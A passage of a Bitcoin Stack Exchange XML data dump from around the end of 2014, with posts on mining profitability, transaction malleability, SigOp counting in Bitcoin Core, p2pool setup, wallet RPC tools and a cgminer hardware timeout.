  <row Id="34220" PostTypeId="2" ParentId="34219" CreationDate="2014-12-29T16:04:47.963" Score="-2" Body="&lt;p&gt;I find a summary the best way to explain this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Company: +£99 from you.&#xA;The company do not pay out anything but costs for power. Bitcoin 'creates' the money.&#xA;You: +£All your earnings.&#xA;10Mh/s will not generate anything, 10Gh/s maybe...&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2014-12-29T16:04:47.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34221" PostTypeId="2" ParentId="34219" CreationDate="2014-12-29T16:08:33.747" Score="4" Body="&lt;p&gt;When you're calculating the profit from Bitcoin mining, you take into account the current bitcoin price, how much hashpower you have, and &lt;em&gt;the current difficulty&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty rises over time. (Generally speaking.) Between Jan '12 and Jan '13, difficulty rose by a factor of 2.9x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between Jan '13 and Jan '14, difficulty rose by 407.2x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between Jan '14 and now, difficulty has risen by 33.3x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless they're guaranteeing 2.2 euros per day over the course of the contract, in which case they're either morons or liars. (If you really could guarantee that kind of return, investors would be all over you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, as David Schwartz notes, it could also be a scam. They could give you good returns, then vanish after lots of people invest.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-05-20T03:12:47.413" LastActivityDate="2015-05-20T03:12:47.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34222" PostTypeId="2" ParentId="34161" CreationDate="2014-12-29T16:09:09.670" Score="1" Body="&lt;p&gt;Many people find litecoin easier to generate as a 'hard currency'. As it is easier to create people use it and exchange it for bitcoins or £££&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2014-12-29T16:09:09.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34223" PostTypeId="2" ParentId="21541" CreationDate="2014-12-29T16:20:03.470" Score="1" Body="&lt;p&gt;The default implementation won't let you mine if you're not connected to any peers (except for on the Regression Test network) because any blocks you mine wouldn't be able to be distributed. Check out miner.cpp::BitcoinMiner() (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/miner.cpp#L512-L517&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/miner.cpp#L512-L517&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to create your own artificial mining method, like &lt;code&gt;MineGenesisBlock()&lt;/code&gt;, within chainparams.cpp, and run it in the initialization of each set of parameters. That way you won't have to turn mining on ('setgenerate true') to mine the genesis block. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-29T16:20:03.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34225" PostTypeId="2" ParentId="22986" CreationDate="2014-12-29T18:05:10.010" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;SIGHASH flags allow for the flexible alteration of a transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but the SIGHASH types mainly allow for incremental progress towards creating a full/final transaction, such as combining multiple transactions signed with SIGHASH_SINGLE. Once the transaction is fully created, there are certain tweaks that can be done to it that don't invalidate the tx but change the TxID, and these tweaks can be done regardless of how it was signed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What malleability risks do SIGHASH transactions incur by virtue of their usage?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think the SIGHASH signing types allow for the alteration of transactions before they are final. Once a transaction is final, the malleability issues persist regardless of how it was signed. In fact, ECDSA signing itself (regardless of which SIGHASH type is used) is non-deterministic, so you could sign the same transaction twice and distribute them, and they would both be valid (but conflicting), but have different TxIDs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Given that there are legitimate usages of SIGHASH, and changing a Tx (and presumably the TxID as well), what is the correct way of using Sighash w.r.t. a TxID and tracking its progress?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To track a transactions progress, you will probably need some other way to identify the transaction other than the raw TxID (double hash of tx data). i.e. Some number associated with a transaction that is passed around to all who are editing it, or keeping track of the outputs of the transaction.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-29T18:05:10.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34226" PostTypeId="2" ParentId="5275" CreationDate="2014-12-30T00:09:03.683" Score="3" Body="&lt;p&gt;Pretty much the same will happen as with a Halving now: The only thing that changes is how many bitcoins may be created with the Coinbase transaction; except this time it drops to Zero instead of halving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, mining would have to continue in order to validate transactions, although it would then be completely funded by transaction fees. However, that will only be marginally different from the years before the last new coins, as it will will have been only satoshis per block for many years before that.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-15T10:03:01.800" LastActivityDate="2015-01-15T10:03:01.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34227" PostTypeId="2" ParentId="32381" CreationDate="2014-12-30T01:26:19.503" Score="1" Body="&lt;p&gt;All valid unconfirmed transactions are broadcasted on the Bitcoin network, therefore all miners in principal have access to the same transactions.&lt;br&gt;&#xA;However, the individual miners may receive knowledge of transactions in different order, select transactions to include in blocks by different rules, or may not yet have received every transaction that is currently unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Therefore, each miner has an individual subset of the same set of unconfirmed transactions.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-30T01:26:19.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34229" PostTypeId="1" CreationDate="2014-12-30T17:23:21.787" Score="1" ViewCount="1138" Body="&lt;p&gt;Can I start p2pool in shared hosting?  If yes, how to install p2pool?&#xA;I am newbie in this field. What are the pre-requirement for starting pool business? Which is best script for pool?&lt;/p&gt;&#xA;" OwnerUserId="21623" LastEditorUserId="5406" LastEditDate="2022-09-19T17:40:15.870" LastActivityDate="2022-09-19T17:40:15.870" Title="How to start mining pool?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-04T14:58:29.677" ContentLicense="CC BY-SA 4.0" />
  <row Id="34230" PostTypeId="2" ParentId="34128" CreationDate="2014-12-30T17:32:16.053" Score="2" Body="&lt;p&gt;Well, I have a bad &lt;code&gt;Executable file&lt;/code&gt; value in &lt;code&gt;Info.plist&lt;/code&gt; file located in &lt;code&gt;.app/Contents.&lt;/code&gt; I've changed it to &lt;code&gt;Bitcoin-Qt&lt;/code&gt; and solved my problem. &lt;/p&gt;&#xA;" OwnerUserId="21606" LastActivityDate="2014-12-30T17:32:16.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34231" PostTypeId="2" ParentId="8109" CreationDate="2014-12-30T18:02:13.217" Score="3" Body="&lt;p&gt;As nobody seems to have mentioned it I'll chip in for future reference. If your bitcoind node is behind a router/NAT then you can only connect to others, they cannot connect to you. Let's assume most people are in that situation, which makes most nodes unconnectable (directly at least). If you open up your node port on your router then every bitcoind node out there will be able to connect to you if they wish rather than your node only being able to connect to others who have opened their port. The same applies to Bittorrent and other p2p systems.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-12-30T18:02:13.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34232" PostTypeId="1" AcceptedAnswerId="36017" CreationDate="2014-12-30T19:54:53.483" Score="6" ViewCount="708" Body="&lt;p&gt;&lt;strong&gt;Background info:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post on the Cryptography stack exchange shows how to almost uniquely recover the public key from the signature, hash of the signed data, and knowledge of the curve: &lt;a href=&quot;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&quot;&gt;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&lt;/a&gt;. I believe it basically produces two public keys for which the signature given will validate for the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a public key &lt;code&gt;Q&lt;/code&gt;, a signature &lt;code&gt;S&lt;/code&gt;, and the hash of some data &lt;code&gt;H&lt;/code&gt;, it seems that there are two ways that we can verify that this triple is valid. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We can run the usual ECDSA verification routine, which is somewhat time intensive.&lt;/li&gt;&#xA;&lt;li&gt;We can run public key recovery with (&lt;code&gt;S&lt;/code&gt;, &lt;code&gt;H&lt;/code&gt;, Curve) and verify that one of the 2 possible returned public keys (4, really, since each can be either compressed/decompressed) is the point &lt;code&gt;Q&lt;/code&gt;. I am not sure if this is more/less time intensive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is verification through public key recovery more or less time intensive than the usual ECDSA verification?&lt;/li&gt;&#xA;&lt;li&gt;If less, then couldn't bitcoin do all it's ECDSA verification through public key recovery and save time? Granted, checking a pubkey-hash would involve taking each candidate public key, OP_HASH160 hashing it and seeing if it comes out to the right 20 bytes of the address. And if none of the 4 possibilities hash to the correct value, then the signature verification failed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My only reason for asking this is that ECDSA verification is slow, and I read somewhere that public key recovery is very fast, so just wanted to see if anyone has any insight into this. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-02-22T17:25:55.910" Title="Is normal ECDSA verification slower than a verification method based on Public Key Recovery?" Tags="|ecdsa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34233" PostTypeId="1" AcceptedAnswerId="34235" CreationDate="2014-12-30T23:37:01.800" Score="1" ViewCount="569" Body="&lt;p&gt;In the bitcoin v0.9.3 source: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ConnectBlock()&lt;/code&gt; calls &lt;code&gt;CheckBlock()&lt;/code&gt; as one of the first things it does. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp#L1756&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp#L1756&lt;/a&gt;. And &lt;code&gt;CheckBlock()&lt;/code&gt; does a count of the signature operations that &lt;strong&gt;doesn't include counting P2SH sig ops&lt;/strong&gt; in the inputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then &lt;code&gt;ConnectBlock()&lt;/code&gt; goes on to do it's own nSigOps count, this time &lt;strong&gt;including the P2SH sig ops&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp#L1810&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp#L1810&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't &lt;code&gt;CheckBlock()&lt;/code&gt; just include the P2SH sig op count to avoid code duplication between the two methods? Is it for efficiency? Or maybe backwards compatibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2015-01-07T05:14:37.840" LastActivityDate="2015-01-07T05:14:37.840" Title="Double Counting SigOps to Prevent CPU Exhaustion Attacks" Tags="|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34234" PostTypeId="2" ParentId="34229" CreationDate="2014-12-31T03:20:59.873" Score="0" Body="&lt;p&gt;The short answer is yes. P2pool source code is available at &lt;a href=&quot;https://github.com/forrestv/p2pool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/forrestv/p2pool&lt;/a&gt;. If you stand up a P2Pool proxy (probably hundreds of them on the Internet actively running) such a server will maintain its own P2Pool sharechain state. As most mining pools, you will also need an active full node of the Bitcoin blockchain to validate the transactions being mined are indeed legitimate. Other miners can connect to your P2Pool proxy (that is part of the distributed P2P network) using either Stratum or GBT protocols that both bfgminer or cgminer support. Those same miners don't have to be sharechain-enabled. The P2pool sharechain is transparent to them. P2Pool supports numerous other alternative coins, and as a P2Pool proxy service you can reap additional merged mining benefits beyond the fixed mining fees established.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2014-12-31T03:20:59.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34235" PostTypeId="2" ParentId="34233" CreationDate="2014-12-31T06:06:18.460" Score="2" Body="&lt;p&gt;There's something unintuitive about Bitcoin transaction SigOp counting. Normally, the signature count of a block is calculated by looking at the scriptPubKey of each transaction and counting how many OP_CHECKSIG operations it contains. In other words, the SigOp count is gotten by looking at how many outputs you create, not how many inputs you redeem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you obviously can't see how many operations a P2SH script does by looking at its hash. Instead, the transaction that spends the P2SH script &quot;pays&quot; for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The somewhat awkward thing is that you can't tell if a scriptSig is spending a P2SH output unless you look up the outpoint it's spending.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why doesn't CheckBlock() just include the P2SH sig op count to avoid code duplication between the two methods?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think it's for backwards compatibility. While ConnectBlock &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/main.cpp#L1798&quot; rel=&quot;nofollow&quot;&gt;doesn't count&lt;/a&gt; P2SH SigOps for &lt;a href=&quot;http://blockexplorer.com/tx/6a26d2ecb67f27d1fa5524763b49029d7106e91e3cc05743073461a719776192&quot; rel=&quot;nofollow&quot;&gt;transactions that appear to be P2SH but aren't&lt;/a&gt;, that logic could be implemented in CheckBlock instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's for efficiency. Rejecting blocks with too many SigOps isn't very common, since it takes about seven thousand dollars of electricity to make a block. I suspect that you could remove the SigOp check from CheckBlock for a very minor performance increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's partially because it would be irritating to change. Getting the P2SH SigOp count requires access to the CCoinViewCache object, which isn't passed to CheckBlock.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-31T06:06:18.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34236" PostTypeId="1" AcceptedAnswerId="34242" CreationDate="2014-12-31T09:26:55.350" Score="1" ViewCount="856" Body="&lt;p&gt;Calling &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/multiaddr?cors=true&amp;amp;active=15PFsB56YYXwXSW6byaxHXfgGz2ySWnDzN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a json response which I can not figure out if it has some sort of error or that I'm mistaken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The response show results in transaction 1206412 = 0.01206412BTC added to balance 0BTC should get 1206412 = 0.01206412BTC, however we get balance = 1201206412 = 12.01206412BTC, I think it's error in blockchain.info api or could you explain how the balance is calculated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qrr6r.png&quot; alt=&quot;blockchain response&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2014-12-31T21:45:25.987" LastActivityDate="2014-12-31T21:45:25.987" Title="How does blockchain.info api works?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34237" PostTypeId="1" AcceptedAnswerId="34238" CreationDate="2014-12-31T11:36:58.990" Score="3" ViewCount="324" Body="&lt;p&gt;I want to know how can I convert other cryptocurrencies like BlackCoin or LiteCoin to Bitcoin. There are many cryptocurrencies out there and the main difference between most of them and Bitcoin is popularity. At the moment, Bitcoin is way more commonly accepted as a payment option than the other cryptocurrencies, so they aren't really useful or flexible at all... So please tell me and explain how can I do this!&lt;/p&gt;&#xA;" OwnerUserId="19484" LastEditorUserId="51948" LastEditDate="2017-12-24T03:25:58.850" LastActivityDate="2017-12-24T03:25:58.850" Title="How to make bitcoins from other cryptocurrencies?" Tags="|exchanges|buy-bitcoins|altcoin-trade|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34238" PostTypeId="2" ParentId="34237" CreationDate="2014-12-31T11:57:19.700" Score="3" Body="&lt;p&gt;The only way to convert them is by trading one for the other, or by going through a third currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find a person or exchange platform that trades exactly the currency pair you want e.g. LTC/BTC or BLK/BTC.&lt;/li&gt;&#xA;&lt;li&gt;Trade LTC -&gt; USD -&gt; BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some exchanges trade a number of different altcoins, so they would lend themselves to do what you want. I have no experience trading anything but Bitcoin, but I've seen that for example HitBTC trades LTC/BTC, and BTER trades BLK/BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used neither exchange and therefore cannot recommend them, just giving them as examples.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-31T11:57:19.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34239" PostTypeId="2" ParentId="1345" CreationDate="2014-12-31T16:52:43.063" Score="1" Body="&lt;p&gt;The official developer answer is to use the provided python wrapper in &lt;code&gt;contrib/bitrpc/bitrpc.py&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/bitrpc/bitrpc.py&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It asks for a password in a secure way if you use the command &lt;code&gt;walletpassphrase&lt;/code&gt;, for example. There are no plans to add interactive functionality to &lt;code&gt;bitcoin-cli&lt;/code&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt; will remain as-is and not gain interactive functionality.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2318&quot; rel=&quot;nofollow&quot;&gt;#2318&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlock wallet: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python bitrpc.py walletpassphrase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change passphrase:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python bitrpc.py walletpassphrasechange&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/contrib/bitrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/contrib/bitrpc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-12-31T16:52:43.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34240" PostTypeId="2" ParentId="12001" CreationDate="2014-12-31T17:11:03.220" Score="3" Body="&lt;p&gt;I think it is also important to note that the upcoming Bitcoin 0.10 release includes headers first download, and parallel full block download. That significantly decreases the sync time if you have a reasonable fast internet connection. It is currently at rc1 status, but seems reasonably stable, so if sync time is a serious concern you may want to check it out.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-12-31T17:11:03.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34241" PostTypeId="1" CreationDate="2014-12-31T19:14:16.033" Score="1" ViewCount="198" Body="&lt;p&gt;I am running &lt;code&gt;cgminer&lt;/code&gt; on a Raspberry Pi, with the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./cgminer --avalon2-freq 500 --avalon2-voltage 7250 --avalon2-fan 50 -o stratum+tcp://stratum.bitcoin.cz:3333 -u &amp;lt;&quot;username.worker&quot;&amp;gt; -p &amp;lt;&quot;password&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get the response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Started cgminer 4.8.0&#xA;Probing for an alive pool&#xA;Pool 0 difficulty changed to 8&#xA;Stratum from pool 0 requested work restart&#xA;AV2 0: No valid shares for over 1 minute, issuing usb reset&#xA;AV2 0 attempted reset got err:(0) LIBUSB_SUCCESS&#xA;AV2 0 Ava2Write usb write err:(-7) LIBUSB_ERROR_TIMEOUT&#xA;AV2 0 attempted reset got err:(0) LIBUSB_SUCCE disabling got 0&#xA;AV2 0 Device disappeared, shutting down thread&#xA;AV2 0 Failure, disabling!&#xA;Hotplug: avalon2 added AV2 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use the command &lt;code&gt;ls -l /dev/tty*&lt;/code&gt;, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;crw-rw-rw- 1 root root      5,  0 Jan  1  1970 /dev/tty&#xA;crw------- 1 root root      4,  0 Jan  1  1970 /dev/tty0&#xA;crw------- 1 pi   tty       4,  1 Dec 31 18:22 /dev/tty1&#xA;crw------- 1 root root      4, 10 Jan  1  1970 /dev/tty10&#xA;crw------- 1 root root      4, 11 Jan  1  1970 /dev/tty11&#xA;crw------- 1 root root      4, 12 Jan  1  1970 /dev/tty12&#xA;crw------- 1 root root      4, 13 Jan  1  1970 /dev/tty13&#xA;crw------- 1 root root      4, 14 Jan  1  1970 /dev/tty14&#xA;crw------- 1 root root      4, 15 Jan  1  1970 /dev/tty15&#xA;crw------- 1 root root      4, 16 Jan  1  1970 /dev/tty16&#xA;crw------- 1 root root      4, 17 Jan  1  1970 /dev/tty17&#xA;crw------- 1 root root      4, 18 Jan  1  1970 /dev/tty18&#xA;crw------- 1 root root      4, 19 Jan  1  1970 /dev/tty19&#xA;crw-rw---- 1 root tty       4,  2 Dec 31 18:17 /dev/tty2&#xA;crw------- 1 root root      4, 20 Jan  1  1970 /dev/tty20&#xA;crw------- 1 root root      4, 21 Jan  1  1970 /dev/tty21&#xA;crw------- 1 root root      4, 22 Jan  1  1970 /dev/tty22&#xA;crw------- 1 root root      4, 23 Jan  1  1970 /dev/tty23&#xA;crw------- 1 root root      4, 24 Jan  1  1970 /dev/tty24&#xA;crw------- 1 root root      4, 25 Jan  1  1970 /dev/tty25&#xA;crw------- 1 root root      4, 26 Jan  1  1970 /dev/tty26&#xA;crw------- 1 root root      4, 27 Jan  1  1970 /dev/tty27&#xA;crw------- 1 root root      4, 28 Jan  1  1970 /dev/tty28&#xA;crw------- 1 root root      4, 29 Jan  1  1970 /dev/tty29&#xA;crw-rw---- 1 root tty       4,  3 Dec 31 18:17 /dev/tty3&#xA;crw------- 1 root root      4, 30 Jan  1  1970 /dev/tty30&#xA;crw------- 1 root root      4, 31 Jan  1  1970 /dev/tty31&#xA;crw------- 1 root root      4, 32 Jan  1  1970 /dev/tty32&#xA;crw------- 1 root root      4, 33 Jan  1  1970 /dev/tty33&#xA;crw------- 1 root root      4, 34 Jan  1  1970 /dev/tty34&#xA;crw------- 1 root root      4, 35 Jan  1  1970 /dev/tty35&#xA;crw------- 1 root root      4, 36 Jan  1  1970 /dev/tty36&#xA;crw------- 1 root root      4, 37 Jan  1  1970 /dev/tty37&#xA;crw------- 1 root root      4, 38 Jan  1  1970 /dev/tty38&#xA;crw------- 1 root root      4, 39 Jan  1  1970 /dev/tty39&#xA;crw-rw---- 1 root tty       4,  4 Dec 31 18:17 /dev/tty4&#xA;crw------- 1 root root      4, 40 Jan  1  1970 /dev/tty40&#xA;crw------- 1 root root      4, 41 Jan  1  1970 /dev/tty41&#xA;crw------- 1 root root      4, 42 Jan  1  1970 /dev/tty42&#xA;crw------- 1 root root      4, 43 Jan  1  1970 /dev/tty43&#xA;crw------- 1 root root      4, 44 Jan  1  1970 /dev/tty44&#xA;crw------- 1 root root      4, 45 Jan  1  1970 /dev/tty45&#xA;crw------- 1 root root      4, 46 Jan  1  1970 /dev/tty46&#xA;crw------- 1 root root      4, 47 Jan  1  1970 /dev/tty47&#xA;crw------- 1 root root      4, 48 Jan  1  1970 /dev/tty48&#xA;crw------- 1 root root      4, 49 Jan  1  1970 /dev/tty49&#xA;crw-rw---- 1 root tty       4,  5 Dec 31 18:17 /dev/tty5&#xA;crw------- 1 root root      4, 50 Jan  1  1970 /dev/tty50&#xA;crw------- 1 root root      4, 51 Jan  1  1970 /dev/tty51&#xA;crw------- 1 root root      4, 52 Jan  1  1970 /dev/tty52&#xA;crw------- 1 root root      4, 53 Jan  1  1970 /dev/tty53&#xA;crw------- 1 root root      4, 54 Jan  1  1970 /dev/tty54&#xA;crw------- 1 root root      4, 55 Jan  1  1970 /dev/tty55&#xA;crw------- 1 root root      4, 56 Jan  1  1970 /dev/tty56&#xA;crw------- 1 root root      4, 57 Jan  1  1970 /dev/tty57&#xA;crw------- 1 root root      4, 58 Jan  1  1970 /dev/tty58&#xA;crw------- 1 root root      4, 59 Jan  1  1970 /dev/tty59&#xA;crw-rw---- 1 root tty       4,  6 Dec 31 18:17 /dev/tty6&#xA;crw------- 1 root root      4, 60 Jan  1  1970 /dev/tty60&#xA;crw------- 1 root root      4, 61 Jan  1  1970 /dev/tty61&#xA;crw------- 1 root root      4, 62 Jan  1  1970 /dev/tty62&#xA;crw------- 1 root root      4, 63 Jan  1  1970 /dev/tty63&#xA;crw------- 1 root root      4,  7 Jan  1  1970 /dev/tty7&#xA;crw------- 1 root root      4,  8 Jan  1  1970 /dev/tty8&#xA;crw------- 1 root root      4,  9 Jan  1  1970 /dev/tty9&#xA;crw-rw---- 1 root tty     204, 64 Dec 31 18:17 /dev/ttyAMA0&#xA;crw-rw---T 1 root dialout   5,  3 Jan  1  1970 /dev/ttyprintk&#xA;crw-rw---T 1 root dialout 188,  0 Jan  2 01:29 /dev/ttyUSB0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21701" LastEditorUserId="22837" LastEditDate="2015-02-20T14:59:46.227" LastActivityDate="2015-02-20T14:59:46.227" Title="Avalon2 times out when using cgminer on the Raspberry Pi" Tags="|cgminer|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34242" PostTypeId="2" ParentId="34236" CreationDate="2014-12-31T19:16:26.100" Score="2" Body="&lt;p&gt;The issue was with how the transactions are sorted. The balance was being calculated with 9c8f1b918e6a6a2 being sorted before 46d529d722d1 (which is incorrect) despite them being ordered correctly in the json. Regardless it should be fixed now.&lt;/p&gt;&#xA;" OwnerUserId="21702" LastActivityDate="2014-12-31T19:16:26.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34243" PostTypeId="1" CreationDate="2015-01-01T01:38:49.060" Score="2" ViewCount="149" Body="&lt;p&gt;What restrictions are imposed by merged mining on the structure or functionality of a side chain (besides it having to use the same PoW schema)?  For example, could the side chain have a higher block rate than the parent chain?  &lt;/p&gt;&#xA;" OwnerUserId="21705" LastActivityDate="2015-01-01T01:38:49.060" Title="What restrictions does merged mining place on the sidechain?" Tags="|blockchain|merged-mining|sidechains|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34244" PostTypeId="1" AcceptedAnswerId="34247" CreationDate="2015-01-01T01:58:30.327" Score="1" ViewCount="63" Body="&lt;p&gt;While reading &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Nxt_API&quot; rel=&quot;nofollow&quot;&gt;NXT's API wiki page&lt;/a&gt; I came across something called a &quot;&lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Nxt_API#Get_Account_Lessors&quot; rel=&quot;nofollow&quot;&gt;lessor&lt;/a&gt;&quot;, but I can't find its definition anywhere. What is a lessor?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-01-01T04:25:06.847" Title="What is NXT's &quot;lessor&quot;?" Tags="|development|api|nxt|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
